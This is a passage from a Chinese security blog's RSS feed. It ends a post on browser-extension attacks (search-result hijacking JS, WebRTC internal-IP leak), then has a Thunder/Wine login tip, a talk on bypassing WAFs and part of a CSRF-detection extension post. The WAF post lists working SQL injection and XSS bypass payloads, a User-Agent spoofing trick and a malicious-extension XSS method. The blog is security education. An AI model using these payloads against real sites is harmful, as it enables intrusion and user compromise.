&lt;p&gt;想做 SEO 的，可以使用此方法:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;(function(){
    if(location.origin == &quot;https://www.baidu.com&quot; &amp;amp;&amp;amp; location.pathname == &quot;/s&quot;){    //当时百度的搜索页面时
        document.querySelectorAll(&quot;#content_left h3 a&quot;)[0].href = &quot;http://360.cn/&quot;; //替换第一个搜索结果为指定的 url 地址
    }
})()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;0x3.4 内网嗅探 {#intranet-sniff}&lt;/h3&gt;
&lt;p&gt;这个方法的篇幅比较多，放在下一章说明。下面是利用 WebRTC 来实现的获取内网 IP 地址:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var ipList = [];
var webrtcxss = {
    webrtc        : function(callback){
        var ip_dups           = {};
        var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
        var mediaConstraints  = {
            optional: [{RtpDataChannels: true}]
        };
        var servers = undefined;
        if(window.webkitRTCPeerConnection){
            servers = {iceServers: []};
        }
        var pc = new RTCPeerConnection(servers, mediaConstraints);
        pc.onicecandidate = function(ice){
            if(ice.candidate){
                var ip_regex        = /([0-9]{1,3}(\.[0-9]{1,3}){3})/;
                var ip_addr         = ip_regex.exec(ice.candidate.candidate)[1];
                if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);
                ip_dups[ip_addr]    = true;
            }
        };
        pc.createDataChannel(&quot;&quot;);
        pc.createOffer(function(result){
            pc.setLocalDescription(result, function(){});
        });
    },
    getIp        : function(){
        this.webrtc(function(ip){
            console.log(ip)
        });
    }
}
webrtcxss.getIp();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;大家可以根据这个方法来想想有没有办法来实现一些更好玩的思路。&lt;/p&gt;
&lt;h2&gt;0x4 结言: {#conclusion}&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;还有很多的 API 及攻击方法等待大家去发掘，我能做的就是给大家打开一个新的攻击平面，不用再局限那些已经熟悉的方法了。&lt;/p&gt;
</content:encoded><category>web security</category><category>browser plugin</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>在 debian 下如何使用迅雷登陆账号</title><link>https://bugs.cc/zh/posts/how-to-use-thunder-login-account-under-debian/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/how-to-use-thunder-login-account-under-debian/</guid><description>使用 wine 在 Linux 打开迅雷时，是无法进行登陆的，这里使用 wireshark 来解决这个问题</description><pubDate>Wed, 24 Aug 2016 05:08:47 GMT</pubDate><content:encoded>&lt;h2&gt;前言: {#intro}&lt;/h2&gt;
&lt;p&gt;今天在 QQ 空间看到有人分享了“惊天魔盗团 2”的电影资源&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/qzone-movie-share.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;正好这几天被 mongoose 搞的有点烦，想看会电影放松一下心情，但是代码还是要写的，于是我想把电影下载下来，然后等 bug 解决了，再看。所以问题来了。&lt;/p&gt;
&lt;h2&gt;下载迅雷: {#download-thunder}&lt;/h2&gt;
&lt;p&gt;可能是我们这边地区的问题，在迅雷官网下载的迅雷都很慢，于是使用“百度管家”下载。&lt;a href=&quot;http://112.29.142.181/sw.bos.baidu.com/sw-search-sp/software/66cfb7c33b400/Thunder_9.0.12.332_baidu.exe&quot;&gt;fuck me down XunLei&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;环境搭建: {#setup}&lt;/h2&gt;
&lt;p&gt;就是用 wine 来使用 exe 程序，这里不介绍，请自己百度&lt;/p&gt;
&lt;h2&gt;安装注意事项: {#install-notes}&lt;/h2&gt;
&lt;p&gt;不要使用 &lt;code&gt;sudo wine Thunder_9.0.12.332_baidu.exe&lt;/code&gt;，请使用 &lt;code&gt;wine Thunder_9.0.12.332_baidu.exe&lt;/code&gt;，不然你的迅雷会被安装到 root 用户下&lt;/p&gt;
&lt;h2&gt;如何启动 {#launch}&lt;/h2&gt;
&lt;p&gt;迅雷安装好后，会在你的桌面放一个快捷方式。如果没有，请像我这么做:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;cd ~/.wine/drive_c/Program\ Files\ \(x86\)/Thunder\ Network/Thunder9/Program/&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;wine Thunder.exe&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;然后，他就启动成功了。&lt;/p&gt;
&lt;p&gt;就像这样:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/thunder-main-window.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;为什么会出现黑色的框框呢？ {#black-window}&lt;/h2&gt;
&lt;p&gt;黑色的框框是个浏览器，迅雷自带的 XBrowser 浏览器。个人猜测是因为 dll 的问题，等我有时间的时候，我去找台 window 电脑，看一下这个浏览器以来上面 dll。这个浏览器无所谓的，没有他照样下载。&lt;/p&gt;
&lt;h2&gt;登陆 {#login}&lt;/h2&gt;
&lt;p&gt;重点来了，点击登陆时，会让你输入账号密码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/thunder-login-dialog.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;但是你会发现，你输入的字符串没有显示，不用慌，就像 linux 终端输入密码时一样，其实你输入了，只是不可见而已。然后就可以登陆了。但是有时候会出现让你填写验证码的框。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/blank-captcha-dialog.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;于是你会蛋疼的发现，验证码去吃屎了。所以现在我们就来解决这个问题。先想象一下验证码的特性。当我点击“看不清，换一张”的时候，那么一定会发送一个数据包。然后返回新的验证码数据包，我们只需要截取这个数据就行了。这里我使用 wireshark 来进行抓包。&lt;/p&gt;
&lt;p&gt;debian 安装 wireshark，需要添加 kali 的源，然后 &lt;code&gt;sudo apt-get update&amp;amp;&amp;amp;sudo apt-get install wireshark&lt;/code&gt; 就行了。记得使用 &lt;code&gt;sudo wireshark&lt;/code&gt; 来运行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/wireshark-capture-interfaces.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我这里的网卡是 wlan0，有可能不一样，选一个你觉得是对的就行了。&lt;/p&gt;
&lt;p&gt;然后你就看到很多的数据包&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/wireshark-packet-capture.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这个时候我们在 Filter 里填写 &lt;code&gt;http&amp;amp;&amp;amp; http contains &quot;image/jpeg&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;然后打开迅雷，登陆。当出现验证码验证的时候再次切换到 wireshark 看就行了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/wireshark-jpeg-filter.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;选中（就是让它的背景色变成蓝色，单击）&lt;/p&gt;
&lt;p&gt;然后 File-&amp;gt;Export Objects-&amp;gt;HTTP&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/wireshark-export-objects.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;选中地址是 &lt;code&gt;verify2.xunlei.com&lt;/code&gt; 且 Content Type 为 &lt;code&gt;image/jpeg&lt;/code&gt; 选中后，点击另存为 xx.jpg。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/http-object-list.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/save-object-dialog.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/saved-captcha.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;拿验证码登陆就行了。&lt;/p&gt;
</content:encoded><category>linux</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>杂谈如何绕过 WAF（Web 应用防火墙）</title><link>https://bugs.cc/zh/posts/talk-about-how-to-bypass-waf/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/talk-about-how-to-bypass-waf/</guid><description>一些绕过 WAF 的小技巧</description><pubDate>Sat, 20 Aug 2016 11:04:31 GMT</pubDate><content:encoded>&lt;h2&gt;0×01 前言: {#intro}&lt;/h2&gt;
&lt;p&gt;这个议题呢，主要是教大家一个思路，而不是把现成准备好的代码放给大家。&lt;/p&gt;
&lt;p&gt;可能在大家眼中 WAF（Web 应用防火墙）就是“不要脸”的代名词。如果没有他，我们的“世界”可能会更加美好。但是事与愿违。没有它，你让各大网站怎么活。但是呢，我是站在你们的这一边的，所以，今天我们就来谈谈如何绕过 WAF 吧。之所以叫做“杂谈”，是因为我在本次演讲里，会涉及到 webkit、nginx&amp;amp;apache 等。下面正式开始:）&lt;/p&gt;
&lt;h2&gt;0x02 直视 WAF: {#what-is-waf}&lt;/h2&gt;
&lt;p&gt;作为第一节，我先为大家简单的说下一些绕过 WAF 的方法。&lt;/p&gt;
&lt;h3&gt;1、 大小写转换法: {#case-swap}&lt;/h3&gt;
&lt;p&gt;看字面就知道是什么意思了，就是把大写的小写，小写的大写。比如:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;SQL: sEleCt vERsIoN();
‍‍XSS: &amp;lt;sCrIpt&amp;gt;alert(1)&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;出现原因: 在 waf 里，使用的正则不完善或者是没有用大小写转换函数&lt;/p&gt;
&lt;h3&gt;2、 干扰字符污染法: {#junk-chars}&lt;/h3&gt;
&lt;p&gt;空字符、空格、TAB 换行、注释、特殊的函数等等都可以。比如下面的:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;SQL: sEleCt+1-1+vERsIoN   /*!*/       ();`yohehe‍‍
‍‍SQL2: select/*!*/`version`();
XSS: 下面一节会仔细的介绍
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3、字符编码法: {#encoding}&lt;/h3&gt;
&lt;p&gt;就是对一些字符进行编码，常见的 SQL 编码有 unicode、HEX、URL、ascll、base64 等，XSS 编码有: HTML、URL、ASCII、JS 编码、base64 等等&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;SQL: load_file(0x633A2F77696E646F77732F6D792E696E69)
‍‍‍‍XSS: &amp;lt;script%20src%3D&quot;http%3A%2F%2F0300.0250.0000.0001&quot;&amp;gt;&amp;lt;%2Fscript&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;出现原因: 利用浏览器上的进制转换或者语言编码规则来绕过 waf&lt;/p&gt;
&lt;h3&gt;4、拼凑法 {#concat}&lt;/h3&gt;
&lt;p&gt;如果过滤了某些字符串，我们可以在他们两边加上“原有字符串”的一部分。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;SQL: selselectect verversionsion();
‍‍‍‍XSS: &amp;lt;scr&amp;lt;script&amp;gt;rip&amp;gt;alalertert&amp;lt;/scr&amp;lt;/script&amp;gt;rip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;出现原因: 利用 waf 的不完整性，只验证一次字符串或者过滤的字符串并不完整。&lt;/p&gt;
&lt;p&gt;本节是告诉大家，waf 总会有自己缺陷的，任何事物都不可能完美。&lt;/p&gt;
&lt;h2&gt;0x03 站在 webkit 角度来说绕过 WAF: {#webkit-bypass}&lt;/h2&gt;
&lt;p&gt;可能这时会有人问到，说绕过 WAF，怎么跑到 webkit 上去了。嗯，你没有看错，我也没有疯。之说以站在 webkit 角度来讲绕过 WAF，是因为各个代码的功能是由浏览器来解析的。那浏览器中谁又负责解析呢？那就是 webkit，既然要说到 webkit，那就不得不提 webkit 下的解析器——词法分析器，因为我们在绕过的时候，就是利用解析器中的词法分析器来完成。&lt;/p&gt;
&lt;p&gt;就比如一个简单的绕过 WAF 的 XSS 代码:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;iframe src=&quot;java script: alert(1)&quot; height=0 width=0 /&amp;gt;&amp;lt;iframe&amp;gt; &amp;lt;!--Java 和 script 是回车，al 和 ert 是 Tab 换行符--&amp;gt;&lt;/code&gt;
他可以弹窗，可以为什么他可以弹窗呢？这里面有回车、换行符啊。想要理解，我们来看看 webkit 下的 Source/javascriptcore/parser/lexer.cpp 是怎么声明的吧。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;while (m_current != stringQuoteCharacter) {
    if (UNLIKELY(m_current ==&apos;\\&apos;)) {
        if (stringStart != currentSourcePtr() &amp;amp;&amp;amp; shouldBuildStrings)
            append8(stringStart, currentSourcePtr() - stringStart);
        shift();
        LChar escape = singleEscape(m_current);
        if (escape) {
            if (shouldBuildStrings)
                record8(escape);
            shift();
        } else if (UNLIKELY(isLineTerminator(m_current)))
            shiftLineTerminator();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意倒数第二行里的 isLineTerminator 函数。这里我来说说大致的意思: 所有的内容都在一个字符串里，用 while 逐字解析，遇到换行就跳过。然后在拼成一个没有分割符的字符串，所以这时的 XSS 代码成功弹窗了。
Webkit 里的词法分析器里除了跳过换行符，还会跳过什么字符呢？&lt;/p&gt;
&lt;p&gt;子曰: 还有回车等分隔符。&lt;/p&gt;
&lt;p&gt;根据 webkit 词法分析器的机制，我们就可以写更多的猥琐 xss 代码。&lt;/p&gt;
&lt;p&gt;下面再说说这个注意事项:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;iframe src=&quot;java
script:alert(1)&quot; height=0 width=0 /&amp;gt;&amp;lt;iframe&amp;gt;  &amp;lt;!--这个可以弹窗--&amp;gt;
&amp;lt;iframe src=java
script:alert(1); height=0 width=0 /&amp;gt;&amp;lt;iframe&amp;gt;  &amp;lt;!--这个不可以弹窗--&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为在 webkit 的词法分析器里，跳过回车、换行等分隔符时有个前提，那就是必须用单/双引号围住，不然不会跳过。因为如果不使用引号，词法分析器会认为 回车、换行就是结束了，如果你运行上面这段代码，webkit 会把 java 当做地址传给 src。词法分析器跳过的前提就是建立在引号里的，切记。
这里在说一个:&lt;/p&gt;
&lt;p&gt;回车、换行只在属性中引号里才会起作用。如果你对标签或者属性用 回车、换行，这时你大可放心，决对不会弹窗。而且在属性值里 回车、换行随便用。如果空格出现在 xss 代码里并不会弹窗，但是如果出现在字符和符号之前，就可以弹了。如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/talk-about-how-to-bypass-WAF/iframe-xss-payload.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;注意事项:
跳过回车和换行，不支持 on 事件。例如下面的代码
&lt;code&gt;&amp;lt;a href=&quot;java	script:alert(1)&quot;&amp;gt;xss&amp;lt;/a&amp;gt;&lt;/code&gt; 会弹窗，但是下面的代码就不行了。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;#&quot; onclick=&quot;aler	t(1)&quot;&amp;gt;s&amp;lt;/a&amp;gt;&lt;/code&gt; 可见加了 Tab 换行，就无法弹窗了。但是还是支持字符和符号之间加入空格的。
本节就是告诉大家，想要玩的更好，最好追溯到底层，从底层来看攻击手法，你会发现很多问题迎刃而解。&lt;/p&gt;
&lt;h2&gt;0x04 利用 Nginx&amp;amp;Apache 环境 BUG 来绕过 waf: {#nginx-apache-bug}&lt;/h2&gt;
&lt;p&gt;这个 bug 比较鸡肋，需要在 nginx&amp;amp;apache 环境，而且管理员较大意。这是一个不是 bug 的 bug。
当网站采用前端 Nginx，后端 Apache 时，需要在 conf 配置，当遇到 PHP 后缀的时候，把请求交给 Apache 处理。但是 Nginx 判断后缀是否为 PHP 的原理是根据 URL 的。也就是说如果当 URL 的后缀不是 PHP 的时候，他并不会把 PHP 教给 Apache 处理。
配置:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/talk-about-how-to-bypass-WAF/nginx-apache-config.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;乍一看，没什么问题。但是这里隐藏一个漏洞。&lt;/p&gt;
&lt;p&gt;我在 test 目录建立一个 index.php:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/talk-about-how-to-bypass-WAF/index-php-source.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;利用 nginx&amp;amp;apache 这个 bug，再加上浏览器默认会隐藏 index.php 文件名，那么漏洞就来了。
访问 &lt;code&gt;a.cn/test/index.php?text=&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt; 不会弹窗，被 waf.conf 给拦截了。&lt;/p&gt;
&lt;p&gt;访问 &lt;code&gt;a.cn/test/?text=&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt; 会弹窗，没有被 waf.conf 给拦截，因为 nginx 根据 URL 判断这不是 php 文件，并没有交给 apache 处理，也就没有走第三个 location 流程。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/talk-about-how-to-bypass-WAF/xss-alert-popup.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;本节是告诉大家，绕过 WAF 不用一直针对 WAF，也可以利用环境/第三方的缺陷来绕过。&lt;/p&gt;
&lt;h2&gt;0x05 从 HTTP 数据包开始说起: {#http-packet}&lt;/h2&gt;
&lt;p&gt;1、 现在有一部分网站 waf 是部署在客户端上的，利用 burp、fiddler 就可以轻松绕过。
很多时候我们遇到的情况就像这段代码一样:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;input type=&quot;text&quot; name=&quot;text&quot;&amp;gt;
&amp;lt;input type=&quot;submit&quot; onclick=&quot;waf()&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;把 waf 规则放到 js 里。我们可以提交一个 woaini 字符串，然后用 burp、fiddler 抓包、改包、提交，轻轻松松的绕过了客服端的 WAF 机制。&lt;/p&gt;
&lt;p&gt;2、有的网站，他们对百度、google、soso、360 等爬虫请求并不过滤，这时我们就可以在 USER-Agent 伪造自己是搜索引擎的爬虫，就可以绕过 waf&lt;/p&gt;
&lt;p&gt;3、有的网站使用的是 $_REQUEST 来接受 get post cookie 参数的，这时如果 waf 只对 GET POST 参数过滤了，那么久可以在数据包里对 cookie 进行构造攻击代码，来实现绕过 waf。&lt;/p&gt;
&lt;p&gt;4、有的 waf 对 GET POST COOKIE 都过滤了，还可以进行绕过。怎么绕过呢？
假设网站会显示你的 IP 或者你使用的浏览器，那么你就可以对 IP、user-agent 进行构造，在 PHP 里 X_FORWARDED_FOR 和 HTTP_CLIENT_IP 两个获取 IP 的函数都可以被修改。
想详细了解的可以去: &lt;a href=&quot;http://www.freebuf.com/articles/web/42727.html&quot;&gt;http://www.freebuf.com/articles/web/42727.html&lt;/a&gt; 0x06 节。
本节告诉我们 waf 是死的，人是活的，思想放开。不要跟着 WAF 的思路走，走出自己的思路，才是最正确的。&lt;/p&gt;
&lt;h2&gt;0x06 WAF 你算个屌: {#extension-bypass}&lt;/h2&gt;
&lt;p&gt;很多人认为绕过 WAF 需要根据 WAF 的规则来绕过。但是我们可以忽视他，进行攻击。
我们利用第三方插件来进行攻击，因为第三方插件的权限非常大，而且他有一个特殊的性质，就是他可以跨域。
我们可以事先在插件里调用一个 js 代码，对方安装之后浏览任何网站都可以被 XSS。
我们现在来看段 Maxthon 插件的源码:&lt;/p&gt;
&lt;p&gt;def.json&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/talk-about-how-to-bypass-WAF/maxthon-def-json.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;test.js:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/talk-about-how-to-bypass-WAF/maxthon-xss-js.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;统一放在一个文件夹里，再用 Mxpacke.exe 生成一个遨游插件。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/talk-about-how-to-bypass-WAF/mxpacker-tool.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;双击就可以安装这个插件。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/talk-about-how-to-bypass-WAF/maxthon-plugin-list.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/talk-about-how-to-bypass-WAF/maxthon-xss-js.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;。这不算是一个漏洞，因为插件必须要运行 js 代码，而 XSS 的宗旨就是 在网站里运行你所指定的 js 代码。
所以，这个 xss 没办法修复，而且 chrome 火狐 等浏览器都存在。&lt;/p&gt;
</content:encoded><category>web security</category><category>waf</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>自动化检测 CSRF(第二篇)</title><link>https://bugs.cc/zh/posts/automated-detection-of-csrf-second-part/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/automated-detection-of-csrf-second-part/</guid><description>使用浏览器插件做到自动检测 CSRF 漏洞</description><pubDate>Thu, 23 Jun 2016 15:49:34 GMT</pubDate><content:encoded>&lt;h2&gt;0x00 前言: {#intro}&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;上一篇只是大致说明整个思路和流程。本篇就详细说说如何检测 CSRF。为什么不在上一篇中放出插件呢。是因为误报率确实是比较多，而且无法检测 Referer。而本章，重点就说明“如何检测对方是否开启了 Referer 检测机制”。在我的认知范围内，这是首款检测 Referer 的工具 (不知廉耻的笑了)。今天发现腾讯在 2013 年就做了类似的&lt;a href=&quot;https://security.tencent.com/index.php/blog/msg/24&quot;&gt;产品&lt;/a&gt; (这就尴尬了..)，不过还好。而且思路和实现方法有所区别。本章说检测 Referer，第三章说检测 token 机制的强化，让检测 token 的成功率达到 80~90%以上 (其实就是写第二篇的时候，忘记写了。推到第三章了….)。而且这些是腾讯产品所没有的撒。&lt;/p&gt;
&lt;h2&gt;0x01 一些小的变化: {#changes}&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;之前的黑白名单列表&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var placeholderFilterKeyword = [&apos;跳&apos;,&apos;搜&apos;,&apos;查&apos;,&apos;找&apos;,&apos;登陆&apos;,&apos;注册&apos;,&apos;search&apos;];  //无用表单黑名单，用于验证这个 form 表单有没有用（针对 input 验证）
var actionFilterKeyword = [&apos;search&apos;,&apos;find&apos;,&apos;login&apos;,&apos;reg&apos;];   //无用表单黑名单，用于验证这个 form 表单有没有用（针对 form 表单验证）
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在的黑白名单列表:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var placeholderFilterKeyword = [&apos;跳&apos;,&apos;搜&apos;,&apos;查&apos;,&apos;找&apos;,&apos;登陆&apos;,&apos;注册&apos;,&apos;search&apos;];
var actionFilterKeyword = [&apos;search&apos;,&apos;find&apos;,&apos;login&apos;,&apos;reg&apos;,&quot;baidu.com&quot;,&quot;google.com&quot;,&quot;so.com&quot;,&quot;bing.com&quot;,&quot;soso.com&quot;,&quot;sogou.com&quot;];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此处的代码，决定了整体插件检测时的误报率大体走向。你也可以自己修改来达到自我感觉不错的地步。&lt;/p&gt;
&lt;p&gt;现在的初始化变量:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var actionCache,actionPath;
var actionvParameter = &quot;&quot;;
var ajaxParameter = &quot;&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;0x02: 插件的整体框架 {#framework}&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;因为 Maxthon 浏览器的 API 实在是太少，没有这些 API 我无法进行 Referer 检测，于是，检测 CSRF 插件，就不写 Maxthon 的插件了，下面是 Chrome 插件的框架:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/automated-detection-of-CSRF-second-part/extension-file-structure.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;icons 是存放插件图标的地方，我比较懒，直接使用 AutoFindXSS 插件的图标。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;background.html 是为了让我们修改插件的作用域，让我们可控，可以在 Chrome 的 API 中使用 &lt;code&gt;jquery插件&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;background.js 这里我们把它理解为后端程序，类似于服务端的存在。用于处理 &lt;code&gt;base.js&lt;/code&gt; 文件的数据&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;base.js 会在网站加载完成后调用。在 &lt;code&gt;检测Referer&lt;/code&gt; 的时候，把数据传给 &lt;code&gt;background.js&lt;/code&gt; 文件&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;manifest.json Chrome 插件的核心文件，用于配置插件参数。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这里我先给大家看一下 manifest.json 文件的内容:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;background&quot;: {
    &quot;page&quot;: &quot;background.html&quot;,
    &quot;persistent&quot;: true
  },
  &quot;name&quot;: &quot;AutoFindCSRF&quot;,
  &quot;version&quot;: &quot;1.0.0&quot;,
  &quot;manifest_version&quot;: 2,
  &quot;description&quot;: &quot;CSRF[by:Black-Hole&amp;amp;158099591@qq.com]&quot;,
  &quot;content_security_policy&quot;: &quot;script-src &apos;self&apos; &apos;unsafe-eval&apos;; object-src &apos;self&apos;&quot;,
  &quot;permissions&quot;: [
    &quot;&amp;lt;all_urls&amp;gt;&quot;,&quot;tabs&quot;
  ],
  &quot;icons&quot;:{&quot;16&quot;: &quot;icons/icon_16.png&quot;,&quot;48&quot;: &quot;icons/icon_48.png&quot;,&quot;128&quot;: &quot;icons/icon_128.png&quot;},
  &quot;content_scripts&quot;: [{
    &quot;matches&quot;: [&quot;*://*/*&quot;],
    &quot;js&quot;: [&quot;jquery.js&quot;,&quot;base.js&quot;],
    &quot;run_at&quot;: &quot;document_end&quot;
  }]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;content_security_policy 简称 CSP，用户限制插件的安全性&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;permissions 是插件向 Chrome 申请的权限。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;content_scripts 意思是，在任何协议下，当网站加载完成后，都会运行 jquery.js 和 base.js 文件。JavaScript this 指向的是当前网页&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;background JavaScript this 指向的是插件，用户处理 base.js 和 background.js 通信的存在&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;而&lt;a href=&quot;http://www.freebuf.com/articles/web/107207.html&quot;&gt;上一篇文章&lt;/a&gt;的 JavaScript 代码，都存放在 base.js 里，待会说“检测 Referer 机制”时，也是写在这个文件里。&lt;/p&gt;
&lt;h2&gt;0x03: 检测对方是否开启了 Referer 检测机制 {#referer-check}&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;首先为了下面程序的简洁，先把当前表单的 action 地址赋值给一个变量:
&lt;code&gt;actionCache = formDom.attr(&quot;action&quot;);&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;然后匹配 action 地址。为什么要匹配 action 地址呢，因为 action 分为以下几种情况:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;#test&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;./test.php &amp;amp;&amp;amp; ./test(处理方式一样)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;/test.php?a=11&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;test.php&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://baidu.com/?s=&quot;&gt;http://baidu.com/?s=&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这里我们使用 switch 来实现匹配，代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;switch(actionCache[0]){
